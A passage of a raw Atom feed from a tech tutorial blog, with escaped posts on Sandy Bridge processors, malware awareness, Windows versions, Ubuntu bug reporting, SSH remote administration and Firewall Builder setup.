/&gt;Processors based on this architecture are marketed as the second generation of Core i processors and were announced on January 3, 2011. Mainstream processors became available on January 9, 2011.&lt;br /&gt;On January 31, 2011, Intel announced that it had found a &lt;span class="IL_AD" id="IL_AD8"&gt;design&lt;/span&gt; flaw in its 6 series chipset named Cougar &lt;span class="IL_AD" id="IL_AD4"&gt;Point&lt;/span&gt;, that accompanies the LGA 1155 socket, affecting SATA-II ports (&lt;span class="IL_AD" id="IL_AD10"&gt;number&lt;/span&gt; 2 to 5) and a recall was issued.  Intel has announced that replacements will be out to &lt;span class="IL_AD" id="IL_AD2"&gt;motherboard&lt;/span&gt; manufacturers by the end of February 2011.&lt;br /&gt;&lt;br /&gt;[&lt;a href="http://www.thatcoin.com/2011/02/sandy-bridge-processors-for-notebooks/"&gt;Thatcoin.com&lt;/a&gt;]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-1351260677210807032?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1351260677210807032'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1351260677210807032'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/03/notebook-sandy-bridge-processors.html' title='Notebook Sandy Bridge Processors'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-5367992313051823623</id><published>2011-02-18T14:00:00.002+07:00</published><updated>2011-08-17T21:40:33.086+07:00</updated><title type='text'>Core i5 2300 for Gaming</title><content type='html'>&lt;span class="fullpost"&gt;Intel issued a three Sandy Bridge processors Core i5 models 2300, 2400 and Core i5 2500 for desktops. &lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;According &lt;a href="http://j.gs/I1s" target="_blank"&gt;XbitLabs&lt;/a&gt; ( skip the ads ), Core i5 2500K can be driven up to 4.2Ghz from 3.4Ghz original speed without changing the processor voltage.&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;Top speed but needs to increase its reach 4.7Ghz processor Vcore to 1.4V. During the test, XbitLabs said temperature stable and never exceeded 80 degrees.&lt;br /&gt;But there are records that need to be known.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Processors in the trial is the revision D, while the processors on the market is a possible revision D2 processors is faster than that in the test. &lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;And XbitLabs Unlock usingprocessor type, making it easy to get the speed of 4.2Ghz with 100MHz x 42 multiplier.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;Below is the comparison of the speed of processors Core i5 2300, Core and Core i5 i5 2400 2500 with other processors&lt;br /&gt;&lt;br /&gt;Test for gaming, editing and maximum power usage.&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;[&lt;a href="http://www.thatcoin.com/2011/01/core-i5-2300-core-i5-2400-and-core-i5-2500-reviews/"&gt;thatcoin.com&lt;/a&gt;]&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-5367992313051823623?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5367992313051823623'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5367992313051823623'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2011/02/core-i5-2300-for-gaming.html' title='Core i5 2300 for Gaming'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-4574917728943141608</id><published>2010-10-01T18:57:00.001+07:00</published><updated>2010-10-01T18:57:16.345+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking Security'/><title type='text'>How to checking  Windows from Malware Attacks manually</title><content type='html'>Viruses and malware attacks at this time could be coming from a variety of ways. Many &lt;span class="IL_AD" id="IL_AD6"&gt;computer&lt;/span&gt; users have installed anti-virus, and feel safe. There is a difference of treatment and anti-virus and malware products. Some &lt;span class="IL_AD" id="IL_AD5"&gt;antivirus&lt;/span&gt; manufacturers with a complete anti-malware features, certainly offered a bit more expensive. But some manufacturers also offer antivirus only. Usually the only target for office use without internet connection.&lt;br /&gt;Misleading to say the antivirus is an anti malware, too. Antivirus is to keep the computer from virus attacks and to clean. Look at some antivirus companies and the Microsoft company issued some special software to malwrae. This is different, because of malware attacks typically not associated with viruses.&lt;br /&gt;&lt;span id="more-262"&gt;&lt;/span&gt;&lt;br /&gt;Slightly increase the knowledge of whether the difference of malware and computer viruses. Arguably the two different light. Malware infections can turn into a virus attack.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Malware can be entered only by:&lt;br /&gt;Opening a site and one clicking icon or link.&lt;br /&gt;No matter from any site, regular website, social networking sites like Facebook, &lt;span class="IL_AD" id="IL_AD4"&gt;email&lt;/span&gt; provides a link a malware site.&lt;br /&gt;&lt;span class="IL_AD" id="IL_AD1"&gt;PDF files&lt;/span&gt; are accidentally in infection&lt;br /&gt;Video files that exploit operating system weaknesses, and asks the user to update their player. It turned out that the link is fake, even allowing viruses and malware into thecomputer &lt;br /&gt;Links from Search Engines, like Google &lt;span class="IL_AD" id="IL_AD3"&gt;for example&lt;/span&gt;. Sometimes there is a link that did not get in the clear by Google. And look attractive by the user computer, then try to click.&lt;br /&gt;And many other ways that make computer users are stuck. With click a link, do not even need an clicking icon&lt;br /&gt;&lt;br /&gt;Source &lt;a href="http://www.thatcoin.com/2010/09/how-to-checking-windows-from-malware-attacks/"&gt;thatcoin &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-4574917728943141608?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/4574917728943141608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/4574917728943141608'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2010/10/how-to-checking-windows-of-malware.html' title='How to checking  Windows from Malware Attacks manually'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-7992613655670585835</id><published>2010-10-01T18:50:00.001+07:00</published><updated>2010-10-01T18:50:54.030+07:00</updated><title type='text'>Windows Vista vs Windows 7</title><content type='html'>Competition between &lt;span class="IL_AD" id="IL_AD2"&gt;computer operating systems&lt;/span&gt; continue to roll. Microsoft as a giant &lt;span class="IL_AD" id="IL_AD7"&gt;computer&lt;/span&gt; applications are very well known with Windows programs, they continue to renew the application to align the needs of an increasinglycomputer continues to grow today. Here we will see two of their products, namely Windows 7 with  &lt;span class="IL_AD" id="IL_AD6"&gt;Windows Vista&lt;/span&gt; with all its pros and cons.&lt;br /&gt;Of the many applications of computer &lt;span class="IL_AD" id="IL_AD5"&gt;systems&lt;/span&gt;, Windows is an operating system most widely used. Microsoft-made system is very dominant and are fundamental for many people, when compared with homemade Apple or Linuxsystems . Of the many versions of Windows that has been released, there are 2 versions are now very popular and widely used on computers. NamelyWindows Vista and the latest is Windows 7.&lt;br /&gt;&lt;br /&gt;Source &lt;a href="http://www.thatcoin.com/2010/09/windows-vista-vs-windows-7-reviews/"&gt;Thatcoin.com &lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-7992613655670585835?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7992613655670585835'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7992613655670585835'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2010/10/windows-vista-vs-windows-7.html' title='Windows Vista vs Windows 7'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-3339807736070214837</id><published>2010-09-02T20:43:00.000+07:00</published><updated>2010-09-02T20:43:08.691+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><title type='text'>iPhone to Computer Applications</title><content type='html'>Various applications in the App Store sold more days continues to grow. Is now available not less than 200,000 kinds of applications both free and paid. One of the advantages buying at Apple’s App Store application is an integrated and application compatibility on a number of gadgets. For example, we buy games or eBook applications through the iPhone, then we want to move to the iPod Touch, MacBook iPad or can be done easily. That way, we do not need to buy two or three applications together to complete the collection or eBook games into our Apple devices.&lt;br /&gt;Easy to do once. But before the move all paid applications from the iPhone (or iPod Touch or iPad) to a computer or laptop, be sure to be connected to the computer prior authorization devices.&lt;br /&gt;&lt;a href="http://www.thatcoin.com/2010/09/how-to-transfer-from-iphone-to-computer-applications/"&gt;Read full article &lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-3339807736070214837?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3339807736070214837'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3339807736070214837'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2010/09/iphone-to-computer-applications.html' title='iPhone to Computer Applications'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-1718416055191827960</id><published>2010-08-26T17:02:00.001+07:00</published><updated>2010-08-26T17:06:09.376+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><title type='text'>How to resizing image files</title><content type='html'>How to resizing image files ? Want to publish the photo on the website but a problem with the image file size, maybe too big or the file format. VSO Image Resizer application can help you reset the entire collection of images to desired size. Image file format, which is presented VSO Image Resizer is very diverse, such as BMP, TIFF, PNG, GIF and JPG&lt;br /&gt;VSO Image Resizer Tips&lt;br /&gt;Through tab “ Effects | Integrate Watermark “, you can include the effects of the watermark in the form of text or images&lt;br /&gt;&lt;br /&gt;Source &lt;a href="http://www.thatcoin.com/2010/08/resize-image-files/"&gt;Thatcoin.com &lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-1718416055191827960?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1718416055191827960'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1718416055191827960'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2010/08/how-to-resizing-image-files.html' title='How to resizing image files'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-9187697526780452064</id><published>2010-08-16T10:30:00.002+07:00</published><updated>2010-08-16T10:30:52.559+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>How to Submit a Bug Report</title><content type='html'>All software has bugs, and Ubuntu is no exception. Here's how you can help improve Ubuntu by submitting a bug report. &lt;br /&gt;It's an unfortunate rule of computing: all software has bugs. The Ubuntu developers and folks at Canonical have done their best to minimize the amount of bugs and their impact in the latest release of Ubuntu, but they can't catch everything. However, one of the major advantages of open source software is that you have an opportunity to help improve the software by filing a bug. The process of filing a bug is surprisingly easy and, despite the name, can be a rather fun and interactive process.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Getting Ready to File the Bug&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Before you actually go ahead and file a bug, you should run through a little checklist to better assist you in the process. The key thing to remember is that every piece of information you can embed in the bug report will help the people fixing your bug. These people may not have the same hardware as you, and there may be other difficulties in reproducing your bug, so every clue you can provide will help them in solving the mystery.&lt;br /&gt;First, figure out what your problem is, in plain language. Ask yourself what's broken and what the proper behavior should be. Also, is there anything the software is doing that it shouldn't be doing? If you can capture logs or output from a terminal, save that informationyou can attach it to the bug. If you have knowledge on how to attach a debugger to your process, you may want to include output from that as well. Ensure you've got the package name of the piece of software you're having trouble with. Save all this information so you can have it handy when it's time to file the bug report.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Creating a Malone Account&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Ubuntu's method of filing a bug report is via a web-enabled application called Malone is part of Launchpad (https://launchpad.net/malone/), and the unique thing about Malone compared to other bugtrackers is that Malone tracks not only Ubuntu bugs, but upstream bugs as well as bugs in other distros. This helps to enable another benefit of open source software: the fact that "given enough eyes, all bugs are shallow." In a nutshell, this means that if one distro pinpoints and fixes a bug, all other distros that use Malone can see the fix, and everyone benefits.&lt;br /&gt;On your first visit to Malone, you'll need to create an account for yourself so you can post to the bug database. Simply click on the Log In/Register link in the upper-righthand corner and follow the instructions to register an account.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;You can search the Malone bug database without creating an account, but posting new information to the database requires an account.&lt;/blockquote&gt;&lt;br /&gt;&lt;b&gt;Searching for Your Bug&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;You've collected your data and created your account: now it's almost time to file your bug. There's just one thing left to do: search for your bug. Yes, that's right: you should always search the bug database for your bug (or one just like it) before you go ahead and create a new one. If you search for a bug with similar symptoms and criteria as your bug, there's a good chance you'll find a bug report already there. You can check and see if the behavior of the bug is the same, if the developers are stalled waiting for a piece of information, or if the bug's already been fixed and a patch is available.&lt;br /&gt;Additionally, if you do see a bug report that resembles your bug, you can add your comments and information to that bug. That will help consolidate things and let the developers know that multiple people are experiencing that issue. Nothing is more frustrating for developers than duplicate bug reports (well, not entirely; poor bug reports are even worse!).&lt;br /&gt;&lt;br /&gt;We've searched for a gnome-power-manager issue that we happened to run into. As it happened, there was a pre-existing bug already opened, and the developer was awaiting information. We were able to add our own comments to the bug and give the developer some of the information he was looking for. That's open source in action!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Filing Your Bug Report&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;If your bug isn't already in the bug database, then it's time to report it. Log in to Malone if you haven't already, and go to the "Report a bug about a package" page (https://launchpad.net/malone/bugs/+package). Select Ubuntu from the drop-down menu and enter the package name in the appropriate field. Next, enter the bug summary. You'll want to be as descriptive as you can in one sentence. Don't say, "gnome-power-manager is broken" or, worse, "battery icon doesn't work." Either of those two summary lines will ensure that your bug is rejected. A more appropriate summary line would say, "gnome-power-manager icon does not show AC power status."&lt;br /&gt;Next, fill out the description of the problem. Be as objective and descriptive as you can, and include all the notes mentioned earlier. Take your time, and be sure to include every detail. We can't stress enough the importance of including not only what's wrong, but what the software is doing right. Include any debug information you may have gathered.&lt;br /&gt;Once you've done that, you can submit your bug by clicking the Add button. There's a checkbox on the site to keep the contents of the bug confidential, so you'll want to check&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-9187697526780452064?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/9187697526780452064'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/9187697526780452064'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2010/08/how-to-submit-bug-report.html' title='How to Submit a Bug Report'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-4122180981508221319</id><published>2010-06-16T21:32:00.000+07:00</published><updated>2010-06-16T21:32:42.498+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Administer Your Server Remotely</title><content type='html'>Install and configure SSH to securely connect and administer your server from any machine with a network connection. &lt;br /&gt;Apart from when you are doing the base installation or some sort of local maintenance, generally a Linux server is meant to be run without a monitor connected. Most tasks you would need to perform on a server can be done via the command line, and these days Telnet is out and SSH is in. SSH provides you with the ability to remotely log in to your server and run commandsall over an encrypted channel. Plus, SSH offers a number of advanced functions that can make remote administration simpler.&lt;br /&gt;First things first: Ubuntu (at least the desktop version) does not install the SSH server by default, so you will need to install it. Either use your preferred package manager to install the openssh-server package or run:&lt;br /&gt;&lt;br /&gt;$ sudo apt-get install openssh-server&lt;br /&gt;         &lt;br /&gt;The installation scripts included with the package will take care of creating the initial RSA and DSA keys you need, as well as providing you with a good default SSH config. Once the install finishes, you should be able to log in to the machine from other machines on the network by typing:&lt;br /&gt;&lt;br /&gt;$ ssh &lt;br /&gt;            &lt;br /&gt;               ip_address&lt;br /&gt;            &lt;br /&gt;(Replace ip_address with the IP address or hostname for your remote Ubuntu server.)&lt;br /&gt;Configure SSH&lt;br /&gt;&lt;br /&gt;One issue with the default SSH config (/etc/ssh/sshd_config) that ships with Ubuntu is that it enables remote root logins and X11 forwarding, which create potential security concerns. Since the root account is disabled on Ubuntu by default anyway, it doesn't hurt to disable the root login option. Just find the line that says:&lt;br /&gt;&lt;br /&gt;PermitRootLogin yes&lt;br /&gt;&lt;br /&gt;and change it to say:&lt;br /&gt;PermitRootLogin no&lt;br /&gt;&lt;br /&gt;If you aren't planning on using X11 forwarding, you can disable that as well. Find the line that says:&lt;br /&gt;&lt;br /&gt;X11Forwarding yes&lt;br /&gt;&lt;br /&gt;and change it to:&lt;br /&gt;&lt;br /&gt;X11Forwarding no&lt;br /&gt;&lt;br /&gt;Once you have made your changes, type:&lt;br /&gt;&lt;br /&gt;$ sudo /etc/init.d/ssh restart&lt;br /&gt;to load the new configuration.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;X11 Forwarding&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now while X11 forwarding should be disabled if you aren't planning to use it, if you are planning to use it, it can allow you to do some pretty interesting things. Essentially, X11 forwarding allows you to set up a secure communication channel between you and the remote server over which you can run graphical applications. The performance of these applications will vary depending on the speed of your network connection. To take advantage of X11 forwarding, add the -X argument to ssh when connecting to the server:&lt;br /&gt;&lt;br /&gt;$ ssh -X &lt;br /&gt;               &lt;br /&gt;                  ip_address&lt;br /&gt;               &lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Then start a graphical program such as xterm (which, when you think about it, wouldn't make much sense to run since you're already in a shell) or perhaps Synaptic. Give the application some time if you are on a slower network link; eventually, the graphical program should appear on your local desktop. This feature can be particularly useful if your server needs third-party graphical programs to manage hardware RAID volumes or backup programs and you need to manage these tools remotely.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Configure Passwordless Authentication&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;If you find yourself connecting to the same machine frequently, or you want to be able to set up a script to run commands on the machine when you aren't around, you will want to set up passwordless authentication. Essentially, this requires that you set up a public and private key on your local machine and then add the public key to a particular configuration file on the remote machine. First, generate your keys on the local machine with the ssh-keygen program:&lt;br /&gt;&lt;br /&gt;greenfly@ubuntu:~$ ssh-keygen -t rsa&lt;br /&gt;Generating public/private rsa key pair.&lt;br /&gt;Enter file in which to save the key (/home/greenfly/.ssh/id_rsa): &lt;br /&gt;Enter passphrase (empty for no passphrase): &lt;br /&gt;Enter same passphrase again: &lt;br /&gt;Your identification has been saved in /home/greenfly/.ssh/id_rsa.&lt;br /&gt;Your public key has been saved in /home/greenfly/.ssh/id_rsa.pub.&lt;br /&gt;The key fingerprint is:&lt;br /&gt;b7:db:cc:2c:81:c5:8c:db:df:28:f3:1e:17:14:cd:63 greenfly@ubuntu&lt;br /&gt;&lt;br /&gt;(If you want to generate DSA keys instead, replace rsa with dsa in the above command.) Notice that it prompted for a passphrase. If you want to use this key for passwordless authentication, just hit Enter for no passphrase. When the program finishes, you will have two new files in your ~/.ssh/ directory called id_rsa and id_rsa.pub, which are your private and public keys, respectively. Now, for security reasons, the id_rsa file is set to be readable only by your user, and you should never share that file with anyone else, since she would then be able to log in to any machine that you could with that key. The public key is the one you will share with remote servers to allow you to log in passwordlessly. To do so, copy the id_rsa.pub file to the remote machine and append its contents to the ~/.ssh/authorized_keys file. You can do this step by step, or you can use this handy one-liner to do it all in one fell swoop:&lt;br /&gt;$ ssh &lt;br /&gt;               &lt;br /&gt;                  user@remotehost&lt;br /&gt;               &lt;br /&gt;                "cat &gt;&gt; ~/.ssh/authorized_keys" &lt; ~/.ssh/id_rsa.pub            Replace user@remotehost with your username and the hostname of the remote server. You will be prompted for your password one final time, and then the key will be appended to the remote host's authorized_keys file. You should now be able to ssh to the remote machine and log in without being prompted for a password.&lt;blockquote&gt;&lt;i&gt;If you do include a passphrase when you generate the key, you will be prompted for that key's passphrase every time you log in. You can make this step almost as convenient as passwordless login by running the command ssh-agent bash on your local machine; this starts up a bash shell session under the control of an SSH agent process.You can then add your key to the agent with ssh-add. You'll be prompted once for your password, and then you can ssh to remotehost without being prompted for your password, unless you exit that shell that you started with ssh-agent.&lt;br /&gt;&lt;/i&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;b&gt;Copy Files Securely&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Another common need is to be able to copy files between servers you are administering. While you could set up FTP on all of the servers, this is a less-than-ideal and potentially insecure solution. SSH includes within it the capability to copy files using the scp command. This has the added benefit of copying the files over a secure channel along with taking advantage of any key-based authentication you might have already set up.&lt;br /&gt;&lt;br /&gt;To copy a file to a remote machine, type:&lt;br /&gt;&lt;br /&gt;$ scp /path/to/file user@remotehost:&lt;br /&gt;               &lt;br /&gt;                  /path/to/destination&lt;br /&gt;               &lt;br /&gt;Or, if you need to copy from the remote host to the local host, reverse the two arguments:&lt;br /&gt;&lt;br /&gt;$ scp user@remotehost:/path/to/file &lt;br /&gt;/path/to/destination&lt;br /&gt;&lt;br /&gt;scp supports recursion, so if you need to copy an entire directory full of files to a remote location, use the -r argument:&lt;br /&gt;&lt;br /&gt;$ scp -r &lt;br /&gt;/path/to/directory/ user@remotehost:/path/to/destination/&lt;br /&gt;&lt;br /&gt;If you are transferring logfiles or other highly compressible files, you might benefit from the -C argument. This turns on compression, which, while it will increase the CPU usage during the copy, should also increase the speed in which the file transfers, particularly over a slow link.&lt;br /&gt;Alternatively, if you want to copy a file but can't afford to saturate your upload with the transfer, use the -l argument to limit how much bandwidth is used. Follow -l with the bandwidth you want to use in kilobits per second. So, to transfer a file and limit it to 256 Kbps, type:&lt;br /&gt;&lt;br /&gt;$ scp -l 256 &lt;br /&gt;               &lt;br /&gt;                  /path/to/file user@remotehost:/path/to/destination&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-4122180981508221319?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/4122180981508221319'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/4122180981508221319'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2010/06/administer-your-server-remotely.html' title='Administer Your Server Remotely'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-1813225575601839811</id><published>2010-04-04T19:47:00.000+07:00</published><updated>2010-04-04T19:47:49.901+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Protect Your Network with a Firewall</title><content type='html'>Protect your network with a firewall managed from your Ubuntu desktop. &lt;br /&gt;Linux has an excellent kernel-based network packet-management system called iptables that can be configured either directly from the command line or through a variety of GUI administration interfaces. One of the most powerful firewall-management interfaces is called Firewall Builder, a system designed to separate policy from implementation and allow you to concentrate on what you want your firewall to do, rather than how you want it to do it.&lt;br /&gt;The Firewall Builder interface presents hosts, routers, firewalls, networks, and protocols as objects, and allows you to drag and drop those objects to define your firewall policy. Firewall Builder then compiles your policy into the actual rules needed to enforce it, with multiple policy compilers available to suit different types of firewall. You can define your policy using Firewall Builder running on an Ubuntu desktop and then have it compiled for a firewall running iptables on Linux, ipfilter on BSD, or any of about half a dozen other firewall technologies. The policy can be defined exactly the same way, regardless of the technology deployed on the target firewall. And because Firewall Builder can support multiple firewalls simultaneously, you can use it as a central management console to configure a variety of firewalls and individual hosts throughout your network, all from a single, unified interface.&lt;br /&gt;You can run Firewall Builder directly on your firewall if you choose, but as a general policy, it's a good idea to have your firewall running the absolute minimum system possible, so a better approach is to have a dedicated machine as your firewall and run Firewall Builder on a desktop or laptop management machine. Then whenever you want to update your firewall policy, you can run Firewall Builder on your management machine to generate new rules and push them out to the firewall.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Initial Firewall Setup&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Start by setting up your firewall machine with a minimal Ubuntu installation: run the installer in server mode, so that it installs only basic packages, and preferably install at least one extra Ethernet card so that you can keep untrusted Internet traffic away from your internal network. A standard approach is to run three network interfaces on a firewall: one for your internal network (downstream), one to connect to the Internet (upstream), and one to a separate local network called the De-Militarized Zone (DMZ), where you can put servers that you want to expose to the Internet. Configure the network interfaces to suit the networks they are connecting to and make sure that your firewall can connect to each one of them individually by using ping to check whether you can see hosts on each network.&lt;br /&gt;Your firewall machine is now sitting at the crossroads between the Internet, your internal network, and any servers that you want to run, but it doesn't yet know how to pass data from one to another so everything will be effectively isolated. To enable your firewall to pass packets from one network interface to another and perform packet filtering and network/port address translation, you will need to install iptables, and to allow the firewall to be managed remotely, you will need to install an SSH server:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;$ sudo apt-get install iptables ssh&lt;/blockquote&gt;            &lt;br /&gt;&lt;b&gt;Initial Management-Machine Setup&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Install Firewall Builder on your management machine along with RCS and the Firewall Builder documentation package:&lt;br /&gt;&lt;br /&gt;$ sudo apt-get install fwbuilder rcs fwbuilder-doc&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Now you're ready to perform the rest of the steps.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Create a firewall project&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;First, launch Firewall Builder:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;$ fwbuilder&lt;/blockquote&gt;               &lt;br /&gt;&lt;br /&gt;Select Create New Project File and specify a location to save it. Ideally, you should create a special directory to hold the project file because Firewall Builder will also generate other files in the same directory, and having them all in one place makes it easier to back up your firewall configuration.&lt;br /&gt;You are then given the option of activating revision control for the project as well as setting it to be opened automatically when Firewall Builder starts up. Turn on both options.&lt;br /&gt;&lt;br /&gt;The revision-control option tells Firewall Builder to store the configuration file in RCS, allowing you to see the entire history of the file, including all changes that have ever been made to it. This feature can be extremely handy if you manage to break your firewall and need to roll back to a known-good working configuration.&lt;br /&gt;Firewall Builder will initially start with an empty configuration containing only a number of predefined services in two libraries. The libraries are called User and Standard, and you can switch between them using the drop-down menu near the upper left. The Standard library is a read-only library that ships with Firewall Builder and contains 